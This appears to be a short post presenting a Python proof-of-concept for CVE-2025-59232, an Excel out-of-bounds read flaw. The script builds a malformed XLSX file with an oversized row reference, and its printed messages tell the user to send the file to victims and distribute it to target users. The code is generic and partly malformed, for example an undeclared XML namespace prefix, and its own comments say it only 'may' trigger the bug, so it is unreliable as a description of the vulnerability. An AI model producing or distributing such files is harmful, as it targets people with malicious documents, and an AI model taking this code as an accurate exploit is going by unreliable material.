CVE-2025-59232：Microsoft Office Excel越界读取信息泄露漏洞

# CVE-2025-59232 - Microsoft Office Excel Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Microsoft Office Excel by crafting a malicious spreadsheet file. import struct import zipfile import os def create_malicious_xlsx(output_path): """ Create a malicious XLSX file that may trigger an out-of-bounds read in Microsoft Office Excel. The vulnerability is triggered when Excel parses certain malformed data structures within the spreadsheet, such as corrupted cell references or malformed shared strings. """ # XLSX is essentially a ZIP archive containing XML files # We create a minimal XLSX structure with a corrupted worksheet content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> <Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/> </Types>''' rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''' # Malicious worksheet with out-of-bounds cell reference # Using an extremely large row number to trigger OOB read worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"><v>0</v></c> </row> <row r="999999999"> <c r="A999999999" t="s"><v>1</v></c> </row> </sheetData> </worksheet>''' # Shared strings with corrupted index reference shared_strings = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="2" uniqueCount="2"> <si><t>Normal Cell</t></si> <si><t>Malicious Cell Data</t></si> </sst>''' with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/> </Relationships>''') zf.writestr('xl/worksheets/sheet1.xml', worksheet) zf.writestr('xl/sharedStrings.xml', shared_strings) print(f"[+] Malicious XLSX file created: {output_path}") print("[*] Send this file to a victim and have them open it in Excel") print("[*] This may trigger the out-of-bounds read vulnerability (CVE-2025-59232)") if __name__ == "__main__": output = "CVE-2025-59232_poc.xlsx" create_malicious_xlsx(output) print(f"\n[*] Usage: Distribute '{output}' to target users") print("[*] When opened in vulnerable Excel versions, it may trigger OOB read")